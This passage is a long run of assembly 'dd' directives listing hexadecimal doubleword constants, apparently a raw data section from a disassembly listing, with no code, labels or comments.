		dd 0B54BB87Eh, 99C71F8Dh, 0E09CC55Bh, 52447C0Dh, 0E7AB3AFDh
		dd 6CF5F2E5h, 8066293Eh, 283C3E3Bh, 0B6AE67CEh,	117D495h
		dd 1AFC83AEh, 0DC89D8E5h, 52D905BAh, 227CF84h, 13D44299h
		dd 0FFE94E33h, 36210184h, 0E52A67EEh, 8C30B1E6h, 0FE2FEECBh
		dd 27D8BBC8h, 4EE4F296h, 922DE5ABh, 0CE4A0D2Ah,	9AB432FCh
		dd 3AB79D97h, 0EB3AED17h, 0EAFC2677h, 70D705F1h, 55A419A8h
		dd 2D774656h, 3F57DB4Dh, 9379EAD4h, 47AB12FAh, 5EFA7A8h
		dd 0A6F7FE71h, 5E1EF980h, 59E87601h, 5A2AFDE7h,	2F86D4A8h
		dd 9C3E662h, 0BCA335D7h, 0C50F5F68h, 79636196h,	1ACA438Ah
		dd 1679557Ch, 0A8442420h, 0AB14399Ah, 7652CEA5h, 0D252998Eh
		dd 0B3894A97h, 956B2B5Fh, 930A7A3Dh, 0F290446Fh, 3C75D02Ah
		dd 0A6645327h, 0A2ADA56Dh, 1A2DAA99h, 705340DCh, 0FF38A221h
		dd 52E231A2h, 41557E3Ah, 656088A1h, 0C32F82DEh,	0D7B8DB8Bh
		dd 8B3528B4h, 1740436h,	0BC7F4723h, 51F4972Bh, 41D07669h
		dd 98557D65h, 0ADF2A12Dh, 0C112F1D6h, 0B56380A1h, 0B12F9B88h
		dd 3F8D27Dh, 0AB6F3483h, 0E7CDB6F4h, 80EEE79Dh,	0FC44ECAh
		dd 42FB5A5Fh, 97C4F13Bh, 0C28FD5F6h, 151A5480h,	3D9467Fh
		dd 0E94E1457h, 0F934D3E7h, 6E520A56h, 0DBAA3F19h, 1B7879BFh
		dd 0BDE93A5Bh, 985F0AC4h, 0D5A9423Ch, 25DB880Eh, 0DA47EEE7h
		dd 0ABBDB2B6h, 44C11F47h, 8A110B71h, 4F24F027h,	0CF5F9715h
		dd 2261CFE9h, 0D7C47F8Dh, 0F65F3E3Dh, 0B12E0484h, 0DECAF3B9h
		dd 0E9098789h, 66073BE1h, 2C5C55EFh, 0B6A9939Eh, 0BFF01798h
		dd 945468EBh, 0A5012A18h, 6D1004E4h, 0F5920CADh, 0B9E2969Dh
		dd 0C8810DEEh, 960A8393h, 3D666857h, 0C8BC26EBh, 629D7FECh
		dd 0D94BA162h, 1EDC71F0h, 0A2DF22Bh, 60500679h,	5AA57F7Bh
		dd 5DADB33Bh, 0EB81114Dh, 0D2CE6942h, 34DA8C4Bh, 716BE0DAh
		dd 7D6DC316h, 3360BEA3h, 0DB2BCA4Bh, 0A1B953C9h, 7E352772h
		dd 7404B8B6h, 431771A5h, 0AAADECFEh, 7B47F1ACh,	708AA095h
		dd 0BBBA6AABh, 1B15D7D6h, 0E6E3CB31h, 0FAFBC906h, 98BF3027h
		dd 72808A2Eh, 7D035B07h, 244BD024h, 5A3D3C7Eh, 0C3FF7F3Fh
		dd 8A6CBD7Ch, 6AFC9C1Dh, 3D1EECFFh, 0FBF47BFDh,	57AE3902h
		dd 1510227Ch, 4F877AF1h, 4AFB7CB6h, 440E8B8Dh, 0B0F2168Fh
		dd 0B6D5659Fh, 23A502B7h, 0F03F6627h, 0ABAFABD6h, 0C32D3864h
		dd 7817292Fh, 941F98B1h, 33AF5881h, 53362A60h, 58B4EB2Eh
		dd 36BBFF79h, 0BD2E48B1h, 0F8E23540h, 304C69E8h, 0F2A7F65Ah
		dd 0A99B065Ah, 0FF63F640h, 0DB4A8D64h, 4DD864Bh, 47745AE6h
		dd 0D58985CBh, 30E8CABh, 17D2508Ah, 6474E38Eh, 514BE0Dh
		dd 9B1B7FBCh, 0F198887Fh, 3637D62Fh, 882260BFh,	4BE9F066h
		dd 6AA575EAh, 0EBC897CAh, 8DE208h, 288C468Bh, 0CA69B3BBh
		dd 0A2D9623Bh, 9286B73Fh, 10888523h, 8AABE08Ch,	56B4BB66h
		dd 0BAD9F351h, 0EE695EEBh, 1E23E03Ch, 812C10FCh, 1BE1CEBh
		dd 0EB9BD31Dh, 70F6E7D5h, 2ADE33A1h, 0AAABE5AEh, 5A95E71Dh
		dd 0A9BEF8C1h, 0ABD84EEBh, 361FC5CCh, 0A8F41FBFh, 0F019CA9Fh
		dd 0CC0D76A0h, 9648C832h, 92298CC6h, 354FA8FCh,	73011B96h
		dd 0A77917D9h, 354A318h, 0AAA4AA90h, 0DDF15FE8h, 6B4D81FEh
		dd 30BDE1F8h, 0E5DB8814h, 0F1E5F4ADh, 9DAD9D17h, 3AD317D9h
		dd 0ABE010C9h, 0B5B049F4h, 7F564FC8h, 6FD07A71h, 8DB4334Dh
		dd 94D2BE20h, 0E2FDCA3Fh, 7CECB25Fh, 2DB4E2DCh,	0F61D3F05h
		dd 0DDFE82C3h, 5DED506h, 1D3A171Bh, 7FE1F855h, 8413A53Ah
		dd 93837ACBh, 48D4BF7Fh, 4CFCCD8Bh, 3F81C04Eh, 0E55BDF1Eh
		dd 0C1A4E7E1h, 43C49B22h, 0BC16EF09h, 482BA665h, 0D5658EECh
		dd 69DEFEB4h, 0E11E41A4h, 0B0507D55h, 0A7BADC7Dh, 0A971E7Ah
		dd 5C1E3789h, 4423FAFCh, 0F7DB0465h, 3DDED15Eh,	0D9E9567Bh
		dd 8739791Eh, 58E35B4Bh, 5995EBF9h, 0FC85AFB3h,	1907B0C7h
		dd 0B119F971h, 0F19DB264h, 62F637DDh, 7E8369CBh, 0B22D655Bh
		dd 9677BB0Bh, 827DF78Ah, 4309CE9Ch, 895D8057h, 1E1443FDh
		dd 7CBAA6EAh, 95C92871h, 597CDBD0h, 8967692h, 0F237353Ch
		dd 0CBB23CF2h, 57606FBBh, 647D6912h, 0D3F01B69h, 0F734CB7Ch
		dd 2893D5E7h, 1273E22h,	7995575Eh, 264445F2h, 687ED6B5h
		dd 0F106E212h, 259526EDh, 16BA267Ch, 0DE8FEC5Fh, 0ACCDEE34h
		dd 2D19D92Dh, 77F4DBE9h, 982F69D7h, 0E287AF32h,	66829453h
		dd 0E77C161Fh, 67BD050Ch, 0F078D9C6h, 852A5FFAh, 8C176A1Bh
		dd 7C537F1Ch, 858D1303h, 0FA8D6D11h, 0E3177B7Ah, 8B6DC563h
		dd 6CE47ED5h, 0B16ED786h, 1DD68D7Ch, 0A2CE9042h, 51CD3E82h
		dd 63A852FAh, 21453041h, 198FD55Dh, 0C2631685h,	43F1230Fh
		dd 0CB4EBDBDh, 0EB9C906Fh, 5771B723h, 0FC7E89BDh, 0F2696BF0h
		dd 0C72DCEFCh, 65DBEFF0h, 39261C70h, 5E5BD2ABh,	0E5FD03Ah
		dd 77561631h, 379B8647h, 2B1F62B5h, 0E669469Fh,	78A68D2Ah
		dd 48D41D9h, 0C5FDC5FCh, 9716E1B5h, 1E5D1CC8h, 0CD500A09h
		dd 0ACD17EF7h, 0EEFF125Ch, 0C0DDAA1Ch, 0F75D2916h, 3744E86Dh
		dd 5E039ACFh, 0E1AEE3B5h, 0C1E4DF3Dh, 0F254D319h, 30ADC657h
		dd 0F434A1E4h, 6D8A2297h, 44A2BE34h, 5526A255h,	8AACE15Ah
		dd 2D157D7Ah, 1BEC7F67h, 6AA4EFD6h, 3716B84Fh, 0E1BB4E42h
		dd 4B1D5B5Dh, 4C55F042h, 2EDC1D28h, 0DFA9A14Eh,	393897F5h
		dd 0B1A90688h, 0C5519F81h, 0BD873723h, 0BDAD7F6Fh, 92087396h
		dd 4AA4AA26h, 0CA5ACCBFh, 2E10D178h, 0F13714Ah,	0CFB9C87Eh
		dd 4F943D1Bh, 71EDAF6Ch, 0C2DBF9A3h, 56AAEA32h,	0A65D8BFDh
		dd 0DB5E7BBFh, 0EB217DAEh, 0EB2A2D8h, 88F765AAh, 29C0E93Dh
		dd 0B4C02CC2h, 0BBDCE14Eh, 0B3B561C5h, 217CB8D2h, 0B918BE0Fh
		dd 637F9EA8h, 4C237E2Eh, 0B2C20A0Ch, 404D03C1h,	3F497A79h
		dd 0BEC0705h, 10358928h, 0EA68228Eh, 0E4ECF8F2h, 869720D6h
		dd 8135B81Fh, 0DD02DBBBh, 0E61025D4h, 0C00A0EA6h, 56555148h
		dd 42C29187h, 913369B9h, 0E458B011h, 5E815D05h,	0F393FDD1h
		dd 58D86704h, 0AECB5653h, 9DAA5751h, 9283A9EEh,	5D1F700Ah
		dd 0BCAA2CF8h, 0FD5FB2Dh, 0A795F645h, 0E7CBDA35h, 0FDB68912h
		dd 331C376Dh, 14087B57h, 487E1E3Ch, 307E7A7Bh, 450069Dh
		dd 8C2F9DBEh, 32FCE4BCh, 6C63D290h, 74142A8Dh, 853D7E51h
		dd 95679923h, 81811E99h
		dd 0F0D22DD9h, 50CCA4EDh, 0EF97A31Bh, 17495F89h, 0A1D7147Fh
		dd 9513E04Fh, 0E255B555h, 0E96FD8E9h, 0AC19ED19h, 2BDA2734h
		dd 829419E5h, 15C26DB2h, 0D42D92EEh, 0BB4626D4h, 21F1BDEh
		dd 6ABD36B7h, 9511157Fh, 0F2B5249Bh, 2ADF4F3Dh,	5EEF34BFh
		dd 0F352B6F2h, 0AFD580F7h, 0DA298A43h, 0C4FF4852h, 9ABA4ACBh
		dd 95AA29h, 8692251Fh, 1C1FCA06h, 37773012h, 8B0F32ADh
		dd 8074E4F6h, 0DA2A8391h, 4F82CC39h, 3CB915D5h,	0D0473E11h
		dd 98BF9D4Ah, 2FB7BD04h, 0BF867897h, 856367E6h,	528F0666h
		dd 66445750h, 6CA0D7F8h, 2F93A38Fh, 0B73451FEh,	0C12CAD98h
		dd 0A0B5116h, 0BFE7DEDDh, 0BE075017h, 19BCC2E2h, 7DD556D1h
		dd 0FED27020h, 0B47C39CDh, 6FF6C7AEh, 0B1691443h, 0A0A85E8Ah
		dd 78DF4EC4h, 6057560h,	0B9416F77h, 30FC332Eh, 543C5D39h
		dd 0A805640Dh, 299A6F27h, 5DB4771Dh, 0E8EAF95Bh, 21578E89h
		dd 0FCC7D2E5h, 49AC6A74h, 253EED1Eh, 8C2492C8h,	1966BA3Ah
		dd 7861F2D8h, 7B6FF4C9h, 9CA9AD58h, 9E45368Bh, 0F3D179A6h
		dd 0AD607D03h, 8C256993h, 0C9C908BCh, 3D5B2E8Ah, 4B0D8A0h
		dd 7C684E5Bh, 0ADD17D3Dh, 0A1137E08h, 685373CEh, 6782CDABh
		dd 81F80E7Dh, 0BF814A15h, 253DFF0Dh, 1A1F4727h,	462A2D58h
		dd 439A9628h, 0BB1C1C54h, 14224FC2h, 0EB16101Fh, 0F9EF1F88h
		dd 0BA5E0B8Ah, 3249EC4Eh, 6E67881Ch, 74D111CEh,	51F77CEh
		dd 9B27A2D8h, 717488D9h, 7B0A9FA1h, 88AC5EB8h, 1694C78Ah
		dd 95F698C7h, 0F81EB235h, 0D6734967h, 6549F7D7h, 51FD4D66h
		dd 7CD05361h, 5FA05BE0h, 0DCE320FEh, 72AB5DF5h,	70D92288h
		dd 6E414AE9h, 0E3B6C525h, 0D6D8BA84h, 0A96AA4D9h, 367B9A89h
		dd 0B81E70CEh, 0BB9F46ADh, 2E1754D2h, 0AC88AAA9h, 5D2288F3h
		dd 2EF819E1h, 0AD7978E3h, 0DA0AA3C4h, 0EF157593h, 8B7F4696h
		dd 726232F2h, 5498BDEDh, 8973E26Fh, 0F95B7FEBh,	125B311Dh
		dd 0A011699Bh, 0E5EA9BE8h, 14DEB443h, 0BF85F835h, 2B5C5B38h
		dd 33CA5528h, 0EFAC7155h, 0C0A08DA3h, 0B3FDDD35h, 72F0A9A8h
		dd 0D73C7BA8h, 334C7AF6h, 34133405h, 0C54C22D4h, 2171EFC6h
		dd 1C3074D4h, 0D7F0DAECh, 0F156A253h, 129DB4D5h, 70EB1F3Eh
		dd 0AF461C43h, 0AB7C8581h, 0FC1A5C94h, 34780D3Bh, 0DDAEB563h
		dd 7C6BAB68h, 98C5685Dh, 57358D02h, 0D15C4D54h,	0AD582BC7h
		dd 2183E1A2h, 5A34DCC3h, 36895FCEh, 0BCE4B09Bh,	0A2A55088h
		dd 0BE9AFB4Eh, 0C3E1BFD8h, 0CFA40D02h, 0F3772AEh, 0A80349AFh
		dd 4E608626h, 103666B7h, 9CB05D2Dh, 19236B4Ah, 0BE2D3AF1h
		dd 0E43BF48h, 0BA89964Dh, 0F38195C6h, 0CB0913C2h, 387EF7C9h
		dd 37D6D39h, 75060285h,	36E306F9h, 56218B46h, 0D4359AFh
		dd 0F04A6ABFh, 4CF45115h, 8E835641h, 2A8FBA1Fh,	7E951C55h
		dd 2D12999Ch, 46C5745Ch, 9E740C87h, 0C49DC1F5h,	4F9D63EFh
		dd 0CA5D7654h, 5E239A67h, 0BA9D2327h, 1B3D24E5h, 0AD8F1549h
		dd 0DAA80A57h, 0A553BDA9h, 4D54813Eh, 0AA317CE6h, 0A6B142D4h
		dd 0ACF0B8ACh, 51D9A48Bh, 14B0AD15h, 0DAF28DF5h, 0BB121DDAh
		dd 0B45B7E57h, 0C7CD8191h, 1CB2796Bh, 2FC21137h, 33C7128Ch
		dd 0E3ADA5F7h, 0C02092CAh, 0A1EF308Fh, 361048F6h, 0FEE013CFh
		dd 7245243Ch, 1EB6DFACh, 0FEAEA291h, 0A3B5F44Bh, 0D51CD34Dh
		dd 0F3D37D92h, 0DD4DEC77h, 0E4F77B7Bh, 76B558Dh, 7C7C6A0Ah
		dd 1C095288h, 0BF8A2837h, 0AF2D5488h, 0B9F50F9Ah, 1277AF79h
		dd 2BB67B47h, 2562B48Ch, 8BCC806Ah, 0F8107BB6h,	9577825h
		dd 0A38BDDE5h, 0AAF01EDAh, 0A3ACE68Dh, 38DBFD49h, 6D0C8898h
		dd 22ABC8E9h, 0AFCC0E3Fh, 0BFB9C1DEh, 0E820C95Eh, 392B289Ch
		dd 0E2DC1660h, 0D605D7BDh, 39808E24h, 6E3703BCh, 70289C1Fh
		dd 1A220BDBh, 1435C4AEh, 3C2F8741h, 2BB0FFA0h, 684288C8h
		dd 0B3C9C352h, 7F8E384h, 55E000D3h, 83150583h, 85A325C5h
		dd 546CEB5Ch, 2312B5D3h, 88E14D0Eh, 9480AE9Ch, 51687DEFh
		dd 81B8AF82h, 30BA9667h, 9285DF1Bh, 8D2D7722h, 20EDAA39h
		dd 86BCCC55h, 8918BE63h, 0A12D4BD0h, 4E20A241h,	0E5E36CD0h
		dd 0F692166Dh, 722696F8h, 0D03D1F06h, 84A0AF7Dh, 0E8CFB627h
		dd 0E77E3946h, 436ED2E7h, 0E71277BDh, 5B149BD9h, 89638EB5h
		dd 4943E0A8h, 0DAAB3E4Fh, 9C03B5A6h, 0BE64F525h, 0FC3EDC72h
		dd 2F18155Ah, 7D4B0DC1h, 0A27D81C1h, 0D3011B27h, 2BC553A6h
		dd 9D1650A7h, 8C678F0Ah, 8A0B09B9h, 7327A15Fh, 0C9E2AC80h
		dd 0C887C80h, 0E9BFE51Bh, 84E92E93h, 44169322h,	2CA7953Bh
		dd 0F84C02AAh, 1F8DB17Eh, 54D686C2h, 770FC16Fh,	9FC06FDDh
		dd 9DF2C3C4h, 957CFD7Fh, 564E2BE6h, 0C028989Fh,	0CBFD287Ch
		dd 0FF0F756Ch, 1ECAB62Eh, 7B7DA379h, 5452825Fh,	91A1A21Bh
		dd 2AFD21B7h, 211CE087h, 58FE8A85h, 0F17A1E44h,	9EB10BE1h
		dd 1688142Dh, 24FBD727h, 0DAF8AEB8h, 232AB248h,	46ADF37Ah
		dd 5394C1C7h, 2B65F9F5h, 0BAC68B37h, 0B54F9F7Eh, 9E0F0C10h
		dd 89685B5Ch, 0C31B570Ah, 9E03A6F4h, 9E56FDBAh,	7DB84F56h
		dd 0E9DB4B7Ch, 10FC9BC4h, 8804683Ah, 0D64C1DE3h, 90DC168Ch
		dd 259B56E2h, 0C5292B64h, 0B45790D4h, 6F135769h, 0B708A293h
		dd 0CB8B73EAh, 0FF4ACFBAh, 0BD888CAh, 0F953E675h, 7E812A94h
		dd 17FC03AEh, 5A944362h, 7C90D4E3h, 2CDF87FEh, 0F68436BFh
		dd 1899F46Dh, 2711347Bh, 9B695ADEh, 225BDF11h, 700E7477h
		dd 0F121DDE5h, 0C74E6934h, 79D0544Ch, 43EE12B9h, 0B45FA776h
		dd 0A9AD3F2h, 975BA055h, 9E5FAE32h, 0B715BC13h,	49568DD5h
		dd 0D72993Ch, 2FE721F8h, 364BAD2Ah, 2C0926Dh, 74FA0912h
		dd 0C4A4185h, 41C7B7B8h, 53DDF215h, 67A8AD81h, 96A18E6Eh
		dd 0D4F71F29h, 0CE7A3B9Ch, 0B46210DFh, 0EF788D56h, 0BFDD2512h
		dd 8417A87Bh, 86AE1C16h, 0AF0861F7h, 180B356Ah,	0EDABA67Fh
		dd 9CA21078h, 0EA0ECC5Ch, 0EFCA1383h, 1AB1C48Ah, 3EE7BC21h
		dd 0F542FE4Fh, 8ED0FDFEh, 7C145ECCh, 8D67BD0Ah,	6DDB3B82h
		dd 0F201543Eh, 0F454F423h, 37F883F9h, 0D16E0320h, 98DDF786h
		dd 3F15A528h, 837CCD64h, 1B7D7282h, 0F0116B6Dh,	643401A2h
		dd 5F2D80B9h, 9733D7BCh, 7C266FDAh, 7861EEE0h, 0C65B7D55h
		dd 97E17F1Ch, 73E617C2h, 9E82EBB7h, 0D1D2864Ch,	29961F8Eh
		dd 52245DD9h, 0B6AA6835h, 0D15AE247h, 9E5BAD1Ch, 0B45E69F7h
		dd 2D65332Fh, 0B5E2E81Ch, 1E36256h, 70F07478h, 0E41FC5FDh
		dd 0E70A3F2Ah, 0C7E4EAD6h, 60F9B16Bh, 830EC28Dh, 420AADD1h
		dd 0C2AD4DA5h, 0E64291CFh, 0FAB69B61h, 0EFADBDB6h, 0B8D811A3h
		dd 0CB435C94h, 7CCA0AC8h, 0B6F9F131h, 59DB820Dh, 0DAB6E07Fh
		dd 0CE603751h, 1058CE28h, 0F727E8D3h, 0BC4CC0F1h, 9B4A62B4h
		dd 7CB91D4Bh, 1A57A993h, 0AE2C0AFBh, 73557C53h,	7DCEB626h
		dd 2D69B458h, 0AFA169A7h, 0B2592390h, 0BDE19A6Eh, 38DDC3Ah
		dd 0A9266D64h, 230F1CDEh, 37594FBBh, 0AF71DBC7h, 0C0A19D0h
		dd 0F8CCA2EBh, 0B8A7E649h, 0FA21DA2Ah, 0A3556686h, 0A13D32AFh
		dd 3E95A54Bh, 4BB7EF94h, 0D09AED57h, 6DBC6858h,	8FD62E81h
		dd 1509CC03h, 7F1F0B5Ah, 0A16C47ADh, 0BAB5995Ch, 9D3FACE6h
		dd 0C0A0D5FBh, 5FFBE7CDh, 0FC61FA0Ah, 0FDD8B288h, 0F1BCE2EBh
		dd 66DCBA43h, 8BB67F73h, 1E861C7Eh, 2ADEFDFDh, 5891BF0h
		dd 0F0A16CEh, 0C58A9D84h, 0BF8856B4h, 0BE34045Ch, 2B810560h
		dd 0F8711BB8h, 0A3D7F556h
		dd 79B32C8Dh, 0D05A5653h, 40B7F8B7h, 15EF7E5h, 0FB9D233Dh
		dd 0EE2F6A26h, 0B47D1BE8h, 0DB167ACAh, 0A1AF7FA6h, 0B176F4DDh
		dd 0BA93F07Dh, 9FD1FD4Bh, 950A6703h, 5DB6A274h,	2BE06D86h
		dd 0EACE9BDDh, 6142F8A2h, 9C48F5A3h, 90EFA252h,	2047B7F1h
		dd 0DCC6AB5Ah, 0D0EB835h, 0E2A31F8Dh, 42AD9ECDh, 0FD838B76h
		dd 6873132Dh, 0DAD0115Ah, 283831CFh, 0B564783Ch, 0EBF11267h
		dd 596D97CFh, 13EC8A7Eh, 0B47FC6D3h, 87CFE71Ch,	4DC3A0F1h
		dd 88EDFADDh, 0E4FCD55Bh, 0DAA8E30Bh, 702805F8h, 6B33999Bh
		dd 0C52BD5FFh, 0B5F11ABDh, 0AE9FC368h, 8D9DDB15h, 0A695758Bh
		dd 5C1E4715h, 0AF68F0ABh, 27A84456h, 0B5B18316h, 7CD76B1h
		dd 50FE1AF6h, 1C0B4AD0h, 3D710A42h, 6B5DEA37h, 478EFED7h
		dd 54AC6003h, 38568B89h, 44AE726h, 0A6ABDFDBh, 7FBF8E3Eh
		dd 184FF622h, 0BFA44A67h, 305A8920h, 3C9241F1h,	93FE03BDh
		dd 5C4401A7h, 956771B0h, 6C3939FCh, 0F940BD10h,	5226BB5Ch
		dd 1803D5D8h, 0C71A7353h, 0F2D7319Eh, 76F0BBDDh, 7BF295EBh
		dd 50EA92DCh, 55D111E7h, 0E62EFEE1h, 16225AB6h,	911159A4h
		dd 2FFE8307h, 47BA87E3h, 0BEEF45BFh, 2CB12D1h, 50EF4589h
		dd 0AE5AB2C8h, 5090A977h, 39548FE7h, 7F85F458h,	14AF4F79h
		dd 0E8A28FF5h, 0BC73AB9Ah, 0ABD78195h, 37545DC7h, 2BE15A8h
		dd 37797C2Eh, 2DEE3DA6h, 0C23B9055h, 0F07DFDC8h, 6D2AD4A6h
		dd 9BEBD157h, 0E1C8D1B7h, 0E17D680Bh, 0EE324E85h, 0B6BA82ABh
		dd 571D1F8Ah, 0B8E5A159h, 496E7149h, 0A515473h,	9CDC916Dh
		dd 0D7AC800Eh, 9BD0EB03h, 49DD4DF8h, 3FCA41F9h,	6C3BDA88h
		dd 0CE23A750h, 0DE1E37F1h, 0BAA10207h, 0EEC086D1h, 0EB28DD72h
		dd 0AC4DA41Fh, 9FECF128h, 0F925BAA8h, 0A507649Dh, 9CE36B0h
		dd 0E4D78AD5h, 0E7988EADh, 954A7493h, 2A816929h, 567F9AF3h
		dd 5F55ABD5h, 17866811h, 9562928Eh, 0F81E9D52h,	7E79604Eh
		dd 67FCD17h, 828D50FCh,	742D70EFh, 738650B4h, 38BBDCEAh
		dd 55CA7443h, 0DA23DACDh, 0F46D1BEEh, 0F56FA96h, 0C29B319Ch
		dd 0CCCDF79Ch, 88742324h, 0BE115731h, 0E05859FFh, 0EDE446E4h
		dd 0B2AA6B4Eh, 92359F1Ah, 0C3A3460Bh, 722FA3F5h, 6C9B7A31h
		dd 1365BFF1h, 0B545B792h, 0B4CA0E8Ah, 0D5A742Bh, 0F8F3CC94h
		dd 0CAE2E2DEh, 0E92FB899h, 7F8C7D21h, 8B16C9E5h, 71A0337Fh
		dd 0D322EA3Bh, 5947635Fh, 0A1F57D8Dh, 0E07F7234h, 1603E5CCh
		dd 3CFCB359h, 2C782233h, 0ED134E2Eh, 0B7D8B462h, 0E6E71A6h
		dd 64C5963Ch, 57251540h, 0FA36EE40h, 27F1A9E0h,	0EF81FF6Eh
		dd 0FFBEE093h, 5A47E1D3h, 22EB7A9Ah, 0E2BD7E5Eh, 0CF3E1D12h
		dd 0C4CBF7D6h, 3275F2AEh, 0F1F4EC30h, 1DED52FEh, 62AD267Fh
		dd 7CED670Dh, 0B7DAB969h, 8DFA1945h, 9F183991h,	4E42089Dh
		dd 9C5C7FA6h, 29D4BD7Ah, 35B57271h, 78F9A151h, 34E23821h
		dd 0F622C4F1h, 309FCBAh, 85903B46h, 0E73E141Ah,	0F3695F9Eh
		dd 0A9522D2Ah, 0D7DFADE8h, 0DDEFDDF8h, 5BD18F15h, 2E702D00h
		dd 0CFA982ACh, 68EEF3FFh, 0A20973BCh, 0A07723F6h, 885212D6h
		dd 9BDD8B7Ch, 8854B601h, 0EE0DACBDh, 0AB93AD19h, 6F2B1E5Ch
		dd 0F544470Fh, 0E6A1305Fh, 0C943DDDFh, 0D5FBC3C7h, 0C334F196h
		dd 0D465899Fh, 9544EFC3h, 2D542238h, 0C5EE4B75h, 0AF10A05Bh
		dd 0BC771D0Fh, 4E7326E5h, 90957EC2h, 679FE292h,	0D46C9363h
		dd 0F36EC304h, 541C8095h, 0B93E2D6Ch, 5B91A48Bh, 0F91B9517h
		dd 6C7A317Eh, 778FA975h, 2581F68Fh, 7796115Bh, 6447F5E5h
		dd 0A4DAC3CDh, 2EF5942Bh, 0B06A487Eh, 38B69974h, 5C61670Ch
		dd 4C416F77h, 36B4A2E6h, 0E5AB0779h, 9B6014A5h,	93560AE7h
		dd 36F37DFAh, 0C4D76A18h, 873B5A50h, 46AFBE28h,	66B69D4Bh
		dd 0C1E4CCBBh, 36932B39h, 5793AACCh, 0E61FB33Bh, 0EFD528BFh
		dd 0A3688DEBh, 0A7D4AD9Ah, 0B7768AE9h, 4FB75310h, 4A449D6Fh
		dd 3EFDF475h, 2267C5C5h, 0D98C791Fh, 5788F302h,	34155ED0h
		dd 0EBFAEA57h, 0F346BC0Dh, 0C3EB56A5h, 0A001E765h, 605AC74Ch
		dd 6A641557h, 0CCF5B36Fh, 0B209E83Ah, 18AF56EAh, 81D30702h
		dd 617BBE1Fh, 1CA819F4h, 5655D093h, 9F9F541Bh, 0A06B4662h
		dd 0C5DE925Bh, 0EAE0E3E5h, 654B1EF8h, 6C2991BCh, 0B83417D0h
		dd 0BE1A5781h, 0FC047FDFh, 4496BFC7h, 0B2D791B7h, 76BF0248h
		dd 0B37EB735h, 9FD4E7E0h, 4B84D10Dh, 2D9A80AFh,	549DEA8Ah
		dd 13F1DCE6h, 9EC04C1Fh, 43588A2h, 8B0F5F4Ah, 4D227215h
		dd 46AA8E4Ch, 7515D9B5h, 0C134BB07h, 0F2AA515Dh, 52602565h
		dd 94C8E506h, 572DCE47h, 8C0C9FF1h, 0F5EDEDB7h,	7DA8638Eh
		dd 8024C2B5h, 40611F98h, 0C394753Eh, 9CC568B0h,	5F984C6Fh
		dd 92BEA702h, 65FF462Ch, 2C7980C6h, 5FEB14D8h, 0C098F4B8h
		dd 0BC370F2Bh, 0E5D7EA4Ch, 6B46709Dh, 1D7B5AF5h, 0BCD84748h
		dd 0AD5D1B52h, 51618EB4h, 0D7B9F52Dh, 0E6B6F83Eh, 8229EF71h
		dd 89E140BCh, 9C0F165Eh, 57E6AC95h, 97DB8717h, 6178D041h
		dd 93ACF5B4h, 669778DFh, 3906744Bh, 0A42A1084h,	2E6B024Bh
		dd 434839C7h, 0CD331856h, 9DA25DD2h, 0BCF3BC0Ah, 9718132Fh
		dd 0E3210243h, 0DC35DD46h, 943AAB60h, 0C5FE81C1h, 0DA0922B4h
		dd 0B3C26BBFh, 0F2850607h, 267CBEC1h, 22EACDCCh, 0E7C2C8F8h
		dd 123467EBh, 0AE0B92DAh, 0B7C5B28h, 234AA7E0h,	0EE0EF975h
		dd 70E865F9h, 0B14CCED0h, 6A2948D4h, 0A76D56ACh, 0CB07D6DAh
		dd 25960E1Dh, 0E3D459D5h, 0BC81812Ah, 0F1A7B391h, 7C2798C0h
		dd 5DE710DFh, 65F01306h, 7C5CC4FFh, 0DF9C50F2h,	0B07002BCh
		dd 1AC32FDCh, 0E93B1D01h, 41407F52h, 2750B4E4h,	188D9295h
		dd 83C67526h, 0D45D5A1Fh, 563D5915h, 887EE0DDh,	0AA00B4B9h
		dd 301A1B04h, 0EFCE123Eh, 0DC2EF2A4h, 9E458981h, 0D686BDF0h
		dd 0DBD559FEh, 1A50E612h, 0C1995F88h, 0C371B309h, 57CB78ADh
		dd 825074C4h, 0AF1B042Eh, 0AFD8349Ah, 56DB80E9h, 0F6DDB965h
		dd 0FA575891h, 977340EEh, 35F33D0Ah, 968D8F51h,	0E6F5614Bh
		dd 1375D523h, 4BD84DDEh, 5B6870C5h, 29FB56DEh, 5F71845Fh
		dd 0DF05C1B7h, 0C1E4ED3Ch, 0B3B45CB5h, 65717EAAh, 0BDB004B7h
		dd 0F0F96FA4h, 0FA36E6C3h, 0BCA30D5Ah, 0A5E5B2B3h, 57F8C1B8h
		dd 0C769E7BDh, 53C50D82h, 0C74FD46Bh, 4508C846h, 3BB5973Dh
		dd 59AD4FC4h, 0DCF29356h, 8051F969h, 89005845h,	46B500Ch
		dd 2028ED30h, 18420959h, 0A8110069h, 65240460h,	19098C30h
		dd 940D22C3h, 124C4A50h, 98122883h, 9110028Eh, 50AAF876h
		dd 7801596h, 310AC091h,	1EF06Ah, 808393Ch, 0D18442C3h
		dd 752D63E9h, 1440E94Ah, 4E8828FBh, 0D3A04509h,	34EB2745h
		dd 93A69D1h, 44E2A74h, 45130A9Dh, 0D0F4B9A7h, 7445A2A9h
		dd 9D0AE892h, 27403A18h, 89D04E83h, 9A7553A6h, 711CD4E9h
		dd 406D129h, 0CB9F11Dh,	5F3B3A7Dh, 2C461BEDh, 0A66C6043h
		dd 44621576h, 0C948A7C4h, 3E90FFF3h, 0BCDC294Bh, 3A661D1Ch
		dd 4E54D808h, 299A7378h, 93FD190Ah, 1B1CEC6Eh, 1020428Ch
		dd 607C029Eh, 4020EBA8h, 0BA46F411h, 542FBD19h,	7888E653h
		dd 0F4F8660h, 0A32BF6ADh, 0C42CD6CBh, 0E3DD5555h, 898A5396h
		dd 998946F4h, 6B96468Ah, 203ECCE4h, 0C4644EC1h,	6C66234Fh
		dd 0FB1A2356h, 6B192C99h, 0A4B355Eh, 0CE32F5F3h, 724FB196h
		dd 0D46E6652h, 0BC689351h, 65153231h, 8F6221D3h, 0CDE82C5Ch
		dd 3456480Ch, 66D930C5h
		dd 0DAEC8F14h, 4F6E8D70h, 0F1EBD63h, 0FBE895FEh, 0EADA3181h
		dd 5822E9B2h, 7231FC2Dh, 0C4FF7D6Ch, 0F4822F54h, 0E4650653h
		dd 0B37C9D74h, 2DB6FC1Ah, 0B10535F2h, 92ECA524h, 19E752Bh
		dd 0CFD5E1E5h, 71BB5A0Ch, 0E2453552h, 33AFAC9Ch, 0F83100BEh
		dd 8B7FE1CCh, 44F13354h, 0AA9A5275h, 0D680C0F8h, 3E31B791h
		dd 0E9F4AD13h, 0C57D2D42h, 123E460Ch, 0E9500A28h, 0B025B78Ah
